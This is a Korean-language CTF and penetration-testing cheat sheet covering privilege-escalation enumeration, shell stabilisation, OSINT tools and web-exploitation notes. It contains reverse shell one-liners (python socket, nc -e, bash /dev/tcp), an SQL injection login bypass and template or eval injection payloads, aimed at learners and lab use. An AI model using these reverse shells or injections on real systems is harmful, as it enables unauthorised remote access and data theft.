- SMB 공유 연결
    - `smbclient //<ip>/<share>`

### 권한 상승

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - 자동으로 권한 상승 벡터 검색
- 루트로 실행 가능한 명령 목록
    - `sudo -l`
- SUID 권한이 있는 파일 찾기
    - `find / -perm -u=s -type f 2>/dev/null`
    - 이 파일들은 실행 사용자 대신 소유자의 권한으로 실행됨
- 모든 서비스에 대한 권한 확인
    - `accesschk.exe -uwcqv *`
    - System 또는 Administrator 계정이 아닌 서비스 찾기
- 서비스 쿼리
    - `sc qc <service name>`
    - cmd.exe에서만 작동

### 리버스 셸 수신 대기

- `nc -lnvp <port>`

### 리버스 셸

- revshells.com
    - 필요한 거의 모든 템플릿 제공
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`

### 대화형 셸 얻기

#### Linux

1. 다음 python 명령을 실행하여 부분적으로 대화형으로 만듦: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. `CTRL+Z`로 netcat 세션 종료 후 로컬에서 `stty raw -echo` 실행
3. `fg` 명령어로 세션 재진입 (필요 시 작업 ID 추가)
4. `export TERM=xterm`으로 터미널 에뮬레이터를 xterm으로 변경 (필수 아님)
5. `export SHELL=bash`로 셸을 bash로 변경 (필수 아님)
6. 완료! 이제 셸이 완전히 대화형이 됩니다.

#### Windows / 일반

1. 시스템에 `rlwrap` 설치
2. 이제 nc 리스너를 실행할 때마다 앞에 `rlwrap`을 붙임
3. 예: `rlwrap nc -lvnp 1337`
    * 화살표 키와 명령 내역을 제공하지만, Windows와 *nix 시스템에서 자동 완성은 지원하지 않는 것으로 보임

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - 인터넷에서 얼굴 역검색
- [OSINT Framework](https://osintframework.com/)
    - 다양한 OSINT 도구를 모아놓은 웹사이트
- [GeoSpy AI](https://geospy.ai)
	- 이미지로 위치를 추정할 수 있는 지리공간 시각 LLM
- [overpass turbo](https://overpass-turbo.eu)
	- OpenStreetMap API를 쿼리하고 결과를 시각화하는 웹사이트
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
	- OSM API를 쉽게 쿼리할 수 있는 웹사이트

## 기타

- DNS 오류 해결
    - `dig <site> <recordType>`
    - [레코드 유형 목록](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - TXT도 시도해 볼 것
- 다른 아키텍처로 바이너리 실행
    - 64비트:
        - `linux64 ./<binary>`
    - 32비트:
        - `linux32 ./<binary>`
        
- MS 매크로 추출:
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- CNC GCode 보기
    - [https://ncviewer.com/](https://ncviewer.com/)
도구 다운로드
  • 보안 회사로, 교육 콘텐츠를 많이 제작합니다.
  • 항상 보안 주제에 대한 무료 과정과 웹캐스트를 진행합니다.
  • stacksmashing
    • 놀라운 리버스 엔지니어링 및 하드웨어 해킹 영상.
    • WannaCry를 리버스 엔지니어링하는 매우 멋진 시리즈가 있습니다.
  • Ben Greenberg
    • GMU 교수로, pwn 및 멀웨어에 대한 비디오 튜토리얼이 많습니다.
    • 약간 구식이지만 여전히 좋습니다.
  • InfoSecLab at Georgia Tech
    • pwn에 대한 심층 강의가 좋고 고급 수준입니다.
    • 약간의 배경 지식이 필요합니다.
  • RPISEC
    • RPI 대학 팀 미팅.
    • 매우 고급이며 약간의 컴퓨터 과학 배경 지식을 가정합니다.
  • Matt Brown
    • 임베디드 보안 침투 테스터.
    • IoT 해킹에 대한 초보자 친화적인 훌륭한 영상을 만듭니다.
  • 일부 이미지가 열리도록 파일 시그니처를 변경해야 할 수도 있습니다.
  • 일반적인 파일 시그니처 목록
  • Ghex (GUI가 있는 또 다른 hex 에디터. 특정 바이트로 점프해야 할 때 유용함.)
    • ghex <file.xyz>
  • docx 파일은 컨테이너이므로 압축을 풀면 숨겨진 콘텐츠를 찾을 수 있습니다.
    • unzip <file.docx>
  • Grep - 플래그를 재귀적으로 찾기 위해 grep을 사용하는 좋은 방법:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • 'picoCTF'를 찾고 있는 플래그의 시작 부분으로 변경할 수 있습니다.
  • Ltrace - 프로그램을 실행할 때 코드가 무엇을 하는지 확인할 수 있습니다:
    • ltrace ./<file>
    • ltrace -s 100 ./<file>
      • Ltrace는 매우 긴 문자열을 줄입니다. -s를 사용하여 ltrace가 표시하는 문자 수를 늘릴 수 있습니다. 큰 문자열을 가진 strcmp를 볼 때 유용합니다.
  • 서버에서 이는 SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''로 평가됩니다.
  • 1=1은 true로 평가되어 OR 문을 충족시키며, 나머지 쿼리는 --에 의해 주석 처리됩니다.
  • PayloadsAllTheThings
    • 다양한 페이로드를 포함한 웹 익스플로잇에 유용한 리소스입니다.
  • 템플릿 인젝션
    • tplmap
      • 자동화된 서버 측 템플릿 인젝션
    • Jinja 인젝션
      • {{ config.items() }}
    • Flask 인젝션
      • {{ config }}
    • Python eval() 함수
      • __import__.('subprocess').getoutput('<명령어>')
        • 작동하지 않으면 괄호를 변경하세요.
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • 시스템의 파일 목록 출력
    • 더 많은 Python 인젝션
  • 크로스 사이트 스크립팅
    • CSP 평가기
      • Google의 콘텐츠 보안 정책 평가기